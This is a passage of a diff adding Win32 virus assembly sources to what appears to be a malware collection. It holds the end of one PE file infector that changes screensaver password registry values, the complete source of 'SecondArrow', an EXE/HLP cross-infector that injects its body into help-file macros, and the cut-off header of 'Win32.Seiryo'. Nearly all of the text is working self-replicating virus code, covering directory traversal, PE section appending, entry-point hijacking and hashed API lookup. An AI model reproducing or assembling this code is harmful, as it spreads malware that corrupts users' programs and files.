|
||||
push eax
|
||||
push 0
|
||||
push 0
|
||||
call [ebp+CreateThread-delta]
|
||||
|
||||
jmp quit ; return to host
|
||||
|
||||
myThread:
|
||||
DB 0bdh ; mov ebp,imm32 ; get delta handle
|
||||
save_ebp DD ?
|
||||
|
||||
lea eax,[ebp+root-delta] ; set root dir as current dir
|
||||
push eax
|
||||
call [ebp+SetCurrentDirectoryA-delta]
|
||||
|
||||
call dirtrav ; INFECT!
|
||||
|
||||
push 0
|
||||
call [ebp+ExitThread-delta] ; exit the thread
|
||||
|
||||
dirtrav:
|
||||
call infect_dir ; infect directory
|
||||
|
||||
push dword ptr [ebp+_alloc-delta] ; find dir
|
||||
lea eax,[ebp+wildcard-delta]
|
||||
push eax
|
||||
call [ebp+FindFirstFileA-delta]
|
||||
push eax
|
||||
inc eax
|
||||
jz check_root
|
||||
dec eax
|
||||
mov [ebp+fnhandle-delta],eax
|
||||
jmp test_if_dir
|
||||
|
||||
findnextdir:
|
||||
push dword ptr [ebp+_alloc-delta] ; find next dir
|
||||
push dword ptr [ebp+fnhandle-delta]
|
||||
call [ebp+FindNextFileA-delta]
|
||||
test eax,eax
|
||||
jz check_root
|
||||
|
||||
test_if_dir:
|
||||
mov eax,[ebp+_alloc-delta]
|
||||
test dword ptr [eax],10h ; is it a directory?
|
||||
jz findnextdir
|
||||
mov eax,[ebp+_alloc-delta]
|
||||
add eax,44
|
||||
cmp byte ptr [eax],'.' ; is it '.' or '..'?
|
||||
jz findnextdir
|
||||
|
||||
push eax
|
||||
call [ebp+SetCurrentDirectoryA-delta] ; go to found dir
|
||||
inc byte ptr [ebp+nested-delta]
|
||||
call dirtrav ; recursive!
|
||||
mov eax,[esp]
|
||||
mov [ebp+fnhandle-delta],eax
|
||||
jmp findnextdir
|
||||
|
||||
check_root:
|
||||
cmp byte ptr [ebp+nested-delta],0 ; are we at root?
|
||||
jz end_trav
|
||||
|
||||
lea eax,[ebp+dotdot-delta] ; go to '..'
|
||||
push eax
|
||||
call [ebp+SetCurrentDirectoryA-delta]
|
||||
dec byte ptr [ebp+nested-delta]
|
||||
end_trav:
|
||||
add esp,4
|
||||
ret
|
||||
|
||||
infect_dir:
|
||||
push dword ptr [ebp+_alloc-delta] ; find a file
|
||||
lea eax,[ebp+searchmask-delta]
|
||||
push eax
|
||||
call [ebp+FindFirstFileA-delta]
|
||||
inc eax
|
||||
jz no_more_filez
|
||||
dec eax
|
||||
mov [ebp+fnhandle2-delta],eax
|
||||
jmp infect_file
|
||||
|
||||
findnextfile:
|
||||
push dword ptr [ebp+_alloc-delta] ; find next file
|
||||
push dword ptr [ebp+fnhandle2-delta]
|
||||
call [ebp+FindNextFileA-delta]
|
||||
test eax,eax
|
||||
jz no_more_filez
|
||||
|
||||
infect_file:
|
||||
xor edx,edx
|
||||
mov eax,[ebp+_alloc-delta]
|
||||
mov eax,[eax+32]
|
||||
mov ecx,201
|
||||
div ecx
|
||||
test edx,edx
|
||||
jz findnextfile ; already infected?
|
||||
mov eax,[ebp+_alloc-delta] ; (fsize modulo 201 = 0)
|
||||
mov eax,[eax+32]
|
||||
add eax,v_size ; align fsize to 201 ...
|
||||
push eax
|
||||
xor edx,edx
|
||||
div ecx
|
||||
pop eax
|
||||
sub edx,201
|
||||
neg edx
|
||||
add eax,edx
|
||||
mov [ebp+mapsize-delta],eax ; ... and save it
|
||||
|
||||
push 80h ; clear file attributes
|
||||
mov eax,[ebp+_alloc-delta]
|
||||
add eax,44
|
||||
push eax
|
||||
call [ebp+SetFileAttributesA-delta]
|
||||
test eax,eax
|
||||
jz findnextfile
|
||||
|
||||
push 0 ; open file
|
||||
push 80h
|
||||
push 3
|
||||
push 0
|
||||
push 0
|
||||
push 0C0000000h
|
||||
mov eax,[ebp+_alloc-delta]
|
||||
add eax,44
|
||||
push eax
|
||||
call [ebp+CreateFileA-delta]
|
||||
inc eax
|
||||
jz findnextfile
|
||||
dec eax
|
||||
mov [ebp+filehandle-delta],eax
|
||||
|
||||
push 0 ; map file part I
|
||||
push dword ptr [ebp+mapsize-delta]
|
||||
push 0
|
||||
push 4
|
||||
push 0
|
||||
push eax
|
||||
call [ebp+CreateFileMappingA-delta]
|
||||
test eax,eax
|
||||
jz closefile
|
||||
mov [ebp+maphandle-delta],eax
|
||||
|
||||
push dword ptr [ebp+mapsize-delta] ; map file part II
|
||||
push 0
|
||||
push 0
|
||||
push 2
|
||||
push eax
|
||||
call [ebp+MapViewOfFile-delta]
|
||||
test eax,eax
|
||||
jz closefile
|
||||
mov [ebp+mapaddr-delta],eax
|
||||
|
||||
cmp word ptr [eax],'ZM' ; EXE signature?
|
||||
jnz unmap
|
||||
add eax,[eax+3ch]
|
||||
mov edx,[ebp+mapaddr-delta]
|
||||
cmp eax,edx
|
||||
jnae unmap
|
||||
|
||||
mov edi,[ebp+_alloc-delta]
|
||||
add edx,[edi+32]
|
||||
cmp eax,edx
|
||||
ja unmap
|
||||
cmp dword ptr [eax],00004550h ; PE signature?
|
||||
jnz unmap
|
||||
|
||||
mov edx,[eax+28h] ; save entrypoint
|
||||
mov [ebp+oldEIP2-delta],edx
|
||||
mov edx,[eax+34h]
|
||||
mov [ebp+baseaddress-delta],edx ; save base address
|
||||
add [ebp+oldEIP2-delta],edx
|
||||
mov edx,[eax+3ch] ; save file alignment
|
||||
mov [ebp+filealign-delta],edx
|
||||
|
||||
mov esi,[eax+74h] ; go to the last section header
|
||||
shl esi,3
|
||||
movzx ebx,word ptr [eax+6]
|
||||
dec ebx
|
||||
xchg eax,ebx
|
||||
imul eax,eax,28h
|
||||
lea esi,[esi+eax+78h]
|
||||
add esi,ebx
|
||||
|
||||
or dword ptr [esi+24h], 0E0000020h ; set characteristix
|
||||
|
||||
add dword ptr [esi+8],v_size ; correct VirtualSize
|
||||
mov eax,[esi+8]
|
||||
|
||||
xor edx,edx ; calculate new RawSize
|
||||
mov ecx,[ebp+filealign-delta]
|
||||
div ecx
|
||||
test edx,edx
|
||||
jz no_inc
|
||||
inc eax
|
||||
no_inc:
|
||||
mul ecx
|
||||
mov edx,eax
|
||||
sub edx,[esi+10h]
|
||||
add [ebx+50h],edx ; add increase to image size
|
||||
mov [esi+10h],eax ; save new RawSize
|
||||
|
||||
push esi
|
||||
|
||||
mov edi,[esi+8] ; prepare to copy virus
|
||||
add edi,[esi+14h]
|
||||
sub edi,v_size
|
||||
add edi,[ebp+mapaddr-delta]
|
||||
|
||||
mov ecx,v_size ; copy it!
|
||||
lea esi,[ebp+v_start-delta]
|
||||
rep movsb
|
||||
|
||||
pop esi ; save new entrypoint
|
||||
mov edi,[esi+8]
|
||||
add edi,[esi+0ch]
|
||||
sub edi,v_size
|
||||
mov [ebx+28h],edi
|
||||
|
||||
unmap:
|
||||
push dword ptr [ebp+mapaddr-delta] ; unmap file
|
||||
call [ebp+UnmapViewOfFile-delta]
|
||||
|
||||
closefile:
|
||||
push dword ptr [ebp+filehandle-delta] ; and close it
|
||||
call [ebp+CloseHandle-delta]
|
||||
|
||||
mov eax,[ebp+_alloc-delta] ; restore old attribs
|
||||
push eax
|
||||
add eax,44
|
||||
push eax
|
||||
call [ebp+SetFileAttributesA-delta]
|
||||
|
||||
jmp findnextfile
|
||||
|
||||
no_more_filez:
|
||||
ret
|
||||
; variables part II
|
||||
APInames:
|
||||
_GetWindowsDirectoryA DB "GetWindowsDirectoryA",0
|
||||
_GetCurrentDirectoryA DB "GetCurrentDirectoryA",0
|
||||
_SetCurrentDirectoryA DB "SetCurrentDirectoryA",0
|
||||
_GetSystemDirectoryA DB "GetSystemDirectoryA",0
|
||||
_GetCommandLineA DB "GetCommandLineA",0
|
||||
_GetSystemTime DB "GetSystemTime",0
|
||||
_ExitThread DB "ExitThread",0
|
||||
_CreateThread DB "CreateThread",0
|
||||
_CloseHandle DB "CloseHandle",0
|
||||
_UnmapViewOfFile DB "UnmapViewOfFile",0
|
||||
_MapViewOfFile DB "MapViewOfFile",0
|
||||
_SetFileAttributesA DB "SetFileAttributesA",0
|
||||
_CreateFileMappingA DB "CreateFileMappingA",0
|
||||
_CreateFileA DB "CreateFileA",0
|
||||
_FindNextFileA DB "FindNextFileA",0
|
||||
_FindFirstFileA DB "FindFirstFileA",0
|
||||
_VirtualAlloc DB "VirtualAlloc",0
|
||||
_LoadLibraryA DB "LoadLibraryA",0
|
||||
|
||||
_RegSetValueExA DB "RegSetValueExA",0
|
||||
_RegOpenKeyExA DB "RegOpenKeyExA",0
|
||||
|
||||
ptr_table:
|
||||
DD offset _GetWindowsDirectoryA
|
||||
DD offset _GetCurrentDirectoryA
|
||||
DD offset _SetCurrentDirectoryA
|
||||
DD offset _GetSystemDirectoryA
|
||||
DD offset _GetCommandLineA
|
||||
DD offset _GetSystemTime
|
||||
DD offset _ExitThread
|
||||
DD offset _CreateThread
|
||||
DD offset _CloseHandle
|
||||
DD offset _UnmapViewOfFile
|
||||
DD offset _MapViewOfFile
|
||||
DD offset _SetFileAttributesA
|
||||
DD offset _CreateFileMappingA
|
||||
DD offset _CreateFileA
|
||||
DD offset _FindNextFileA
|
||||
DD offset _FindFirstFileA
|
||||
DD offset _VirtualAlloc
|
||||
DD offset _LoadLibraryA
|
||||
|
||||
regkey DB "Control Panel\desktop",0
|
||||
value1name DB "ScreenSaveUsePassword",0
|
||||
value2 DB 31h,42h,41h,44h,32h,34h,35h,38h,32h,32h,32h,37h,45h
|
||||
DB 37h,35h,45h,33h,39h,44h,38h,30h,38h,41h,41h,00h
|
||||
value2name DB "ScreenSave_Data",0
|
||||
|
||||
v_end:
|
||||
|
||||
end v_start
|
587
Win32/Win32.SecondArrow.asm
Normal file
587
Win32/Win32.SecondArrow.asm
Normal file
@ -0,0 +1,587 @@
|
||||
;
|
||||
; SecondArrow by BlueOwl
|
||||
;
|
||||
; HLP/EXE (Cross)-Infector
|
||||
;
|
||||
; Disclaimer
|
||||
;
|
||||
; This is the assembler source of a VIRUS. Me, the author
|
||||
; cannot be held responsible for any problems caused by
|
||||
; the compiled program. Please do not assemble it if you do
|
||||
; not know what you are doing.
|
||||
;
|
||||
; Description
|
||||
;
|
||||
; Exes and hlps have always been in a nice kind of circulation,
|
||||
; and this is exactly what this virus exploits, infecting both.
|
||||
; It infects up to 3 files per run and only randomly activates
|
||||
; its payload when no file was infected. I liked doing something
|
||||
; like this because i thought it was fun combining to techniques
|
||||
; of infection into one.
|
||||
;
|
||||
; About hlps
|
||||
;
|
||||
; Hlps are a little bit harder to infect than exefiles (when dealing
|
||||
; with the bare minimum infection), and infecting hlps is relatively
|
||||
; onnused comparing to the thousands of exeinfectors around this globe.
|
||||
; However, it is quite possible to do so and it can work under any
|
||||
; windows platform with most versions of winhlp.exe.
|
||||
;
|
||||
; Hlp file infection just exploits the very simple fact that you can
|
||||
; use any windows function in hlps. So for example you could use
|
||||
; MessageBoxA(0,"Hello","Dear reader",0); and when the hlpfile loads
|
||||
; it will display this string. Now the thing that can be exploited
|
||||
; here is that one could also pass something like EnumWindows("[string]"
|
||||
; , 0); to it and the "[string]" would be executed because this is
|
||||
; an ENUMERATE function (windows calls the first argument). And
|
||||
; this string can also be the virus code. There is however one problem:
|
||||
; the virus must be a string and thus can't be executed if any
|
||||
; zero's are present in the string. This is solved in hlp virusses by
|
||||
; writing/pusing the entire virus body onto stack and executing it there.
|
||||
;
|
||||
; Payload
|
||||
;
|
||||
; Make a scary sound. ;)
|
||||
;
|
||||
; Assemble with fasm (version 1.50/1.52 should work fine at least)
|
||||
; get it from http://www.flatassembler.net
|
||||
|
||||
format PE GUI 4.0
|
||||
|
||||
include '%fasminc%\win32a.inc' ; fasm assembles this FLAT with read/write/execute attributes
|
||||
|
||||
; .equates
|
||||
GENERIC_READWRITE equ 0C0000000h
|
||||
find_data equ (_fd-4)
|
||||
hfind equ (_hf-4)
|
||||
virus_size equ ((virus_enda-virus_start)/4+1)*4 ; aligned to a dword (required when being in stack)
|
||||
virus_end equ (virus_start+virus_size) ; otherwise the virus will start with a few zeros
|
||||
OldEip equ (oep-4)
|
||||
|
||||
macro wcall proc,[arg] ; wcall procedure (indirect)
|
||||
{ common ; a macro for calling windows apis ;)
|
||||
if ~ arg eq
|
||||
stdcall [ebp+proc-delta],arg
|
||||
else
|
||||
call [ebp+proc-delta]
|
||||
end if }
|
||||
|
||||
|
||||
; .startup
|
||||
mov dword [OldEip], exit
|
||||
; .code
|
||||
virus_start: push 012345678h ; only used when an exe was infected
|
||||
oep: pushad ; save regs
|
||||
cld ; clear direction flag
|
||||
decrypt_from: call set_seh_handler
|
||||
mov esp, [esp+8] ; restore seh
|
||||
jmp error_occurred
|
||||
|
||||
db "..SecondArrow.."
|
||||
|
||||
set_seh_handler:sub eax, eax
|
||||
fs push dword [eax]
|
||||
fs mov [eax], esp ; setup self exeption handling
|
||||
|
||||
exehlpa: stc ; this is a clc when we are a hlp
|
||||
jc exe_start
|
||||
|
||||
mov edi, [esp+virus_size+44] ; esi = return address (in kernel32)
|
||||
jmp in_find_k32
|
||||
exe_start: mov edi, [esp+44] ; edi = somewhere in k32
|
||||
jmp in_find_k32
|
||||
find_k32: dec edi ; what do you think of this routine ;)
|
||||
in_find_k32: sub di, di ; align
|
||||
cmp word [edi], "MZ"
|
||||
jnz find_k32 ; edi = base of kernel32
|
||||
|
||||
call load_delta
|
||||
delta: dd 0c3941b3eh ; data is carried close to delta so
|
||||
CreateFile dd ? ; this way most references are small
|
||||
dd 092d23c21h
|
||||
ReadFile dd ?
|
||||
dd 0b9b3edbfh
|
||||
SetFilePointer dd ?
|
||||
dd 0d43240b9h
|
||||
WriteFile dd ?
|
||||
dd 08a425b5dh
|
||||
CloseHandle dd ?
|
||||
dd 0bda885d4h
|
||||
FindFirstFile dd ?
|
||||
dd 06c38b20bh
|
||||
FindNextFile dd ?
|
||||
dd 0a050a531h
|
||||
FindClose dd ?
|
||||
dd 0c6c1b075h
|
||||
GlobalAlloc dd ?
|
||||
dd 0c4617123h
|
||||
GlobalLock dd ?
|
||||
dd 05837bb59h
|
||||
GlobalUnlock dd ?
|
||||
dd 0b8925923h
|
||||
GlobalFree dd ?
|
||||
dd 0642682e4h
|
||||
SetCurrentDirectory dd ?
|
||||
dd 08a844000h
|
||||
Beep dd ? ; for the payload
|
||||
dd 030e656feh
|
||||
GetTickCount dd ? ; ditto
|
||||
dd 0
|
||||
|
||||
infection_count db 0
|
||||
|
||||
hmem dd "Spac"
|
||||
hfile dd "e fo"
|
||||
hfmem dd "r re"
|
||||
hfstart dd "nt $"
|
||||
nbr dd "5 ! "
|
||||
all_mask db "*.*",0 ; seach for whatever
|
||||
|
||||
macrostart db 4,0,_mse-_ms,0
|
||||
_ms db 'RR("KERNEL32","EnumSystemCodePagesA","SU")',0 ; a macro with callback features
|
||||
_mse: db 4,0
|
||||
macro_size dw ?
|
||||
enumw db 'EnumSystemCodePagesA("'
|
||||
xchg edi, esp ; edi = esp
|
||||
std ; decrementing pointer
|
||||
dec edi ; otherwise the last byte would get overwritten
|
||||
endmacrostart:
|
||||
startmacrosize equ (endmacrostart-macrostart)
|
||||
|
||||
macroend: xchg edi, esp ; esp = edi
|
||||
inc esp ; actual entry
|
||||
push esp
|
||||
ret ; jump to esp
|
||||
db '",0)',0
|
||||
endmacroend:
|
||||
endmacrosize equ (endmacroend-macroend)
|
||||
|
||||
|
||||
load_delta: pop ebp ; ebp = delta handle
|
||||
mov esi, ebp
|
||||
lodsd
|
||||
get_funcs: xchg ebx, eax
|
||||
push esi
|
||||
push ebp
|
||||
mov ebp, [edi+60]
|
||||
add ebp, edi ; ebp = ptr to peheader
|
||||
mov ebp, [ebp+120]
|
||||
add ebp, edi ; ebp = ptr to export table
|
||||
mov edx, [ebp+36]
|
||||
add edx, edi ; edx = ptr to function ordinals
|
||||
mov esi, [ebp+32]
|
||||
add esi, edi ; esi = ptr to ptrs of function names
|
||||
mov ecx, [ebp+20] ; ecx = number of exported functions
|
||||
find_function: push esi
|
||||
push edx
|
||||
sub eax, eax
|
||||
cdq ; edx=eax=0
|
||||
mov esi, [esi]
|
||||
add esi, edi ; esi = ptr to function name
|
||||
make_checksum: lodsb
|
||||
add edx, eax
|
||||
rol edx, 5
|
||||
or eax, eax
|
||||
jnz make_checksum ; edx = checksum
|
||||
cmp edx, ebx ; compare with needed
|
||||
pop edx
|
||||
pop esi
|
||||
jz ff_ok
|
||||
add esi, 4 ; next namepointer
|
||||
inc edx
|
||||
inc edx ; next ordinal
|
||||
loop find_function
|
||||
jmp function_notfound ; exit with eax = 0
|
||||
ff_ok: mov esi, [ebp+28]
|
||||
add esi, edi ; esi = ptr to function addresses
|
||||
movzx ecx, word [edx] ; ecx = function number
|
||||
inc ecx ; ecx ++
|
||||
rep lodsd
|
||||
add eax, edi ; eax = function address
|
||||
function_notfound:
|
||||
pop ebp
|
||||
pop esi
|
||||
mov [esi], eax
|
||||
or eax, eax ; function could not be found?
|
||||
je error_occurred
|
||||
lodsd
|
||||
lodsd
|
||||
or eax, eax
|
||||
jnz get_funcs ; load all functions
|
||||
|
||||
mov byte [ebp+infection_count-delta], 3 ; better not more then 3 ;)
|
||||
|
||||
wcall GlobalAlloc,GMEM_MOVEABLE,314
|
||||
or eax, eax
|
||||
jz error_occurred
|
||||
mov [ebp+find_data-delta], eax
|
||||
wcall GlobalLock,eax
|
||||
mov [ebp+hmem-delta], eax
|
||||
|
||||
call infect_files
|
||||
|
||||
cmp byte [ebp+infection_count-delta], 3 ; nothing infected?
|
||||
jnz close_mem
|
||||
wcall GetTickCount ; Get a "random" number
|
||||
|
||||
cmp al, 44h ; so this occurs one in about 256 times
|
||||
jnz close_mem
|
||||
|
||||
; payload
|
||||
push 37 ; make a scary sound payload :)
|
||||
pop esi
|
||||
sub edi, edi
|
||||
countup: add esi, edi
|
||||
wcall Beep,esi,40
|
||||
inc esi
|
||||
test esi, 7
|
||||
jnz nok
|
||||
inc edi
|
||||
nok: cmp esi, 1500
|
||||
jb countup
|
||||
|
||||
close_mem: mov esi, 012345678h
|
||||
_fd: wcall GlobalUnlock,esi
|
||||
wcall GlobalFree,esi
|
||||
error_occurred: sub eax, eax
|
||||
fs pop dword [eax]
|
||||
pop ebx
|
||||
exehlpb: stc
|
||||
popad
|
||||
jc exit_exe
|
||||
add esp, virus_size+4 ; fix stack
|
||||
sub eax, eax ; return false
|
||||
ret 4
|
||||
|
||||
exit_exe: ret
|
||||
|
||||
; ///////////////////////////////////////////////////////////////////////////
|
||||
|
||||
infect_files: lea eax, [ebp+all_mask-delta] ; seach for anything
|
||||
wcall FindFirstFile,eax,[ebp+hmem-delta]
|
||||
mov [ebp+hfind-delta], eax ; save findhandle
|
||||
inc eax
|
||||
jz no_file_found ; close memory on error
|
||||
|
||||
|
||||
try_next_file: cmp byte [ebp+infection_count-delta], 0
|
||||
jz no_file_found ; close search
|
||||
mov edi, [ebp+hmem-delta]
|
||||
|
||||
mov eax, [edi+32] ; eax = size of file
|
||||
and al, 15
|
||||
cmp al, 15 ; check for infection padding
|
||||
jz already_infected
|
||||
|
||||
call set_infection_seh
|
||||
mov esp, [esp+8]
|
||||
jmp restore_seh
|
||||
set_infection_seh:
|
||||
sub eax, eax
|
||||
fs push dword [eax]
|
||||
fs mov [eax], esp
|
||||
|
||||
; open and read file
|
||||
|
||||
lea ebx, [edi+44d]
|
||||
|
||||
mov esi, ebx ; esi = start of filename
|
||||
find_end: lodsb
|
||||
or al, al
|
||||
jnz find_end ; esi = ptr to end of file name
|
||||
mov eax, [esi-5] ; eax = file extension
|
||||
or eax, 020202020h ; to lowercase
|
||||
cmp eax, ".exe"
|
||||
je ext_ok
|
||||
cmp eax, ".hlp"
|
||||
jne not_infectable
|
||||
ext_ok:
|
||||
sub eax, eax
|
||||
wcall CreateFile,ebx,GENERIC_READWRITE,eax,eax,3,128,eax ; open the file
|
||||
|
||||
mov [ebp+hfile-delta], eax
|
||||
inc eax
|
||||
jz cant_open_file
|
||||
|
||||
mov eax, dword [edi+32d]
|
||||
add eax, virus_size*3+4000h ; add some extra space
|
||||
|
||||
wcall GlobalAlloc,GMEM_MOVEABLE,eax ; Get some space
|
||||
or eax, eax
|
||||
jz close_file
|
||||
mov [ebp+hfmem-delta], eax
|
||||
wcall GlobalLock,eax ; Lock it (required for some windowsversions)
|
||||
|
||||
or eax, eax
|
||||
jz close_fmem
|
||||
mov [ebp+hfstart-delta], eax
|
||||
|
||||
push eax
|
||||
|
||||
lea ebx, [ebp+nbr-delta]
|
||||
|
||||
wcall ReadFile,[ebp+hfile-delta],eax,[edi+32d],ebx,0 ; Load file into memory
|
||||
or eax, eax
|
||||
jz close_lock
|
||||
|
||||
pop edx
|
||||
mov edi, edx ; save start to edi too
|
||||
|
||||
push edx
|
||||
lea eax, [ebp+exehlpa-delta]
|
||||
lea ecx, [ebp+exehlpb-delta]
|
||||
push dword [ecx]
|
||||
push ecx
|
||||
mov ebx, [esi-5]
|
||||
or ebx, 020202020h
|
||||
cmp ebx, ".exe"
|
||||
je is_exe
|
||||
mov byte [eax], 0f8h
|
||||
mov byte [ecx], 0f8h ; hlp marker (clc)
|
||||
call infect_hlpfile
|
||||
jmp infect_done
|
||||
is_exe: mov byte [eax], 0f9h ; exe marker (stc)
|
||||
mov byte [ecx], 0f9h
|
||||
call infect_exefile
|
||||
infect_done: pop eax
|
||||
pop dword [eax]
|
||||
pop edx
|
||||
jc close_lock ; carry flag is on if error happened
|
||||
|
||||
dec byte [ebp+infection_count-delta] ; take on off the infection counter
|
||||
|
||||
sub edi, edx ; edi = size of file
|
||||
|
||||
push edi
|
||||
wcall SetFilePointer,[ebp+hfile-delta],0,0,FILE_BEGIN
|
||||
pop ecx
|
||||
|
||||
or cl, 15 ; infection sign
|
||||
|
||||
lea eax, [ebp+nbr-delta]
|
||||
wcall WriteFile,[ebp+hfile-delta],[ebp+hfstart-delta],ecx,eax,0
|
||||
|
||||
close_lock: wcall GlobalUnlock,[ebp+hfmem-delta]
|
||||
close_fmem: wcall GlobalFree,[ebp+hfmem-delta]
|
||||
close_file: wcall CloseHandle,[ebp+hfile-delta]
|
||||
cant_open_file:
|
||||
jmp restore_seh
|
||||
|
||||
not_infectable: cmp dword [edi], FILE_ATTRIBUTE_DIRECTORY ; is this a directory?
|
||||
jnz restore_seh
|
||||
lea eax, [edi+44]
|
||||
cmp byte [eax], "." ; is a root?
|
||||
jz restore_seh
|
||||
wcall SetCurrentDirectory,eax ; set it as dir
|
||||
push dword [ebp+hfind-delta]
|
||||
call infect_files ; recursive call
|
||||
pop dword [ebp+hfind-delta]
|
||||
call dot_dot
|
||||
db "..",0
|
||||
dot_dot: wcall SetCurrentDirectory ; return to this dir
|
||||
restore_seh: sub eax, eax
|
||||
fs pop dword [eax]
|
||||
pop eax
|
||||
|
||||
already_infected:
|
||||
push [ebp+hmem-delta]
|
||||
push 012345678h
|
||||
_hf: call [ebp+FindNextFile-delta]
|
||||
or eax, eax
|
||||
jnz try_next_file
|
||||
no_file_found:
|
||||
wcall FindClose,[ebp+hfind-delta]
|
||||
ret
|
||||
|
||||
|
||||
; ----------------------------------------------------------------------------------------
|
||||
|
||||
; both routines
|
||||
; on entry: edi = edx = start of file
|
||||
;
|
||||
; on exit: carry on: error happened
|
||||
; carry off: infection successfull
|
||||
|
||||
; i tried to make the smallest possible routine for this
|
||||
; all is old school and should be easily understandable
|
||||
; reading the comments ;)
|
||||
|
||||
infect_exefile: cmp word [edx], "MZ" ; "MZ" present?
|
||||
jnz no_good_exe
|
||||
add edx, [edx+60]
|
||||
cmp word [edx], "PE" ; "PE" present?
|
||||
jnz no_good_exe
|
||||
mov esi, edx ; esi = peheader
|
||||
add esi, 120 ; esi = dirheader
|
||||
mov eax, [edx+116] ; eax = number of dir entries
|
||||
shl eax, 3 ; eax = eax*8
|
||||
add esi, eax ; esi = first section header
|
||||
movzx eax, word [edx+6] ; eax = number of sections
|
||||
dec eax ; eax = eax-1
|
||||
imul eax,eax,40
|
||||
add esi, eax ; esi = ptr to last section header
|
||||
or byte [esi+39], 0F0h ; give section necessary rights
|
||||
mov ecx, virus_size ; ecx = size of virus
|
||||
mov ebx, [esi+16] ; ebx = physical size of section
|
||||
add [esi+16], ecx ; increase section physical size
|
||||
add [esi+8], ecx ; increase section virtual size
|
||||
push dword [esi+8] ; push section virtual size
|
||||
pop dword [edx+80] ; imagesize = section virtual size
|
||||
mov eax, [esi+12] ; eax = section rva
|
||||
add [edx+80], eax ; add it to the imagesize
|
||||
add edi, [esi+20] ; edi = section offset
|
||||
add edi, ebx ; edi = end of section
|
||||
add eax, ebx ; eax = rva of virus
|
||||
xchg [edx+40], eax ; swap it with old entrypoint
|
||||
add eax, [edx+52] ; add imagebase to it
|
||||
mov [ebp+OldEip-delta], eax ; save it
|
||||
lea esi, [ebp+virus_start-delta] ; esi = virus start
|
||||
rep movsb ; edi = ptr to end of file
|
||||
clc ; indicate sucess
|
||||
ret
|
||||
no_good_exe: stc ; indicate error
|
||||
ret
|
||||
|
||||
; HLP Infection routine, see upper comments
|
||||
; and comments below to see how it works
|
||||
;
|
||||
; .The source of HLP.AYUDA (29a#5) was very helpfull when
|
||||
; .i got lost a little! Thankyou Bumblebee.
|
||||
;
|
||||
; Here is a little "diagram" about how we touch this stuff.
|
||||
; Note: if you don't know, rb [num] means [num] bytes
|
||||
; dots mean and undefined number of data
|
||||
;
|
||||
; -------- HLP FILE -------
|
||||
;
|
||||
; Magic dd 00035f3fh
|
||||
; DirStart dd offset main_directory
|
||||
; NotDir dd ?
|
||||
; filesize dd official filesize
|
||||
; .
|
||||
; .
|
||||
; .
|
||||
; main_directory:
|
||||
; String rb 9
|
||||
; Magic dw 293bh
|
||||
; Data rb 28
|
||||
; Kind dw ?
|
||||
; .
|
||||
; .
|
||||
; .
|
||||
; String "|SYSTEM"
|
||||
; System dd offset to system_directory
|
||||
; .
|
||||
; .
|
||||
; system_directory:
|
||||
; data rb ? (here is the old system directory)
|
||||
; .
|
||||
; .
|
||||
; .
|
||||
; eof_file:
|
||||
; (here the old system_directory + our stuff comes)
|
||||
;
|
||||
; ----------------------------
|
||||
|
||||
|
||||
infect_hlpfile: cmp dword [edi], 00035f3fh ; check for magic value
|
||||
jnz no_good_hlp
|
||||
mov esi, [edi+12] ; esi = filesize
|
||||
add edi, [edi+4] ; edi = ptr to hlpfileheader
|
||||
cmp word [edi+9], 293bh ; check for magic here
|
||||
jnz no_good_hlp
|
||||
cmp word [edi+39], 1 ; check if the data is not indexed
|
||||
jnz no_good_hlp
|
||||
|
||||
mov ecx, 565 ; set scan range
|
||||
find_system: inc edi
|
||||
cmp dword [edi], "|SYS" ; find |SYSTEM, ignoring all between
|
||||
jz system_found
|
||||
loop find_system
|
||||
jmp no_good_hlp
|
||||
|
||||
system_found: xchg esi, [edi+8] ; swap it with ptr to system dir
|
||||
add esi, edx ; get system dir
|
||||
cmp word [esi+9], 036ch ; check if system dir
|
||||
jnz no_good_hlp
|
||||
mov ecx, [esi] ; size of system dir
|
||||
mov edi,edx
|
||||
add edi,[edx+12] ; edi = ptr to end of file
|
||||
push edi ; save start
|
||||
rep movsb ; copy old system directory
|
||||
push edi
|
||||
lea esi, [ebp+macrostart-delta] ; copy start of new macro
|
||||
mov ecx, startmacrosize
|
||||
rep movsb
|
||||
|
||||
lea esi, [ebp+virus_end-delta]
|
||||
mov ecx, virus_size
|
||||
|
||||
|
||||
; The whole virus will be translated into
|
||||
; "mov al, virus_byte[x]; stosb" 's, if
|
||||
; the character is a zero a "sub al, al;
|
||||
; stosb" is used instead. Furthermore
|
||||
; other "special" chars are "\"d.
|
||||
|
||||
loop_generate: mov al, 0B0h ; mov al, ..
|
||||
dec esi
|
||||
mov ah, byte [esi]
|
||||
cmp ah, 22h ; '"'
|
||||
je fix_it
|
||||
cmp ah, 27h ; '''
|
||||
je fix_it
|
||||
cmp ah, 5ch ; '\'
|
||||
je fix_it
|
||||
cmp ah, 60h ; '''
|
||||
je fix_it
|
||||
or ah, ah ; 0
|
||||
jnz no_fix
|
||||
mov ax, 0C028h ; sub al, al
|
||||
jmp no_fix
|
||||
fix_it: stosb
|
||||
mov al, '\'
|
||||
no_fix: stosw
|
||||
mov al, 0AAh ; stosb
|
||||
stosb
|
||||
loop loop_generate
|
||||
|
||||
lea esi, [ebp+macroend-delta]
|
||||
mov cl, endmacrosize
|
||||
rep movsb
|
||||
|
||||
pop esi ; get start of new sysdir
|
||||
pop ebx
|
||||
mov ecx, edi ; ecx = edi
|
||||
sub ecx, esi ; ecx = size of new sysdir
|
||||
sub ecx, (enumw-macrostart)
|
||||
mov word [esi+macro_size-macrostart], cx
|
||||
|
||||
mov ecx, edi
|
||||
sub edi, ebx ; edi = system size
|
||||
mov [ebx], edi
|
||||
add [edx+12], edi
|
||||
sub edi, 9
|
||||
mov [ebx+4], edi
|
||||
|
||||
xchg ecx, edi ; edi = end of file
|
||||
clc ; indicate success
|
||||
ret
|
||||
|
||||
no_good_hlp: stc ; failure
|
||||
ret
|
||||
|
||||
; i hope you understood this stuff!
|
||||
|
||||
db "My way into history!",13,10
|
||||
db "BlueOwl June/2004"
|
||||
|
||||
virus_enda:
|
||||
|
||||
padding dd 0
|
||||
|
||||
exit: ret
|
||||
|
||||
; BlueOwl June/2004 ;)
|
||||
|
||||
|
976
Win32/Win32.Seiryo.asm
Normal file
976
Win32/Win32.Seiryo.asm
Normal file
@ -0,0 +1,976 @@
|
||||
COMMENT ` ---------------------------------------------------------------- )=-
|
||||
-=( Natural Selection Issue #1 ------------------------------ Win32.Seiryo )=-
|
||||
-=( ---------------------------------------------------------------------- )=-
|
||||
|
||||
-=( 0 : Win32.Seiryo Features -------------------------------------------- )=-
|
||||
|
||||
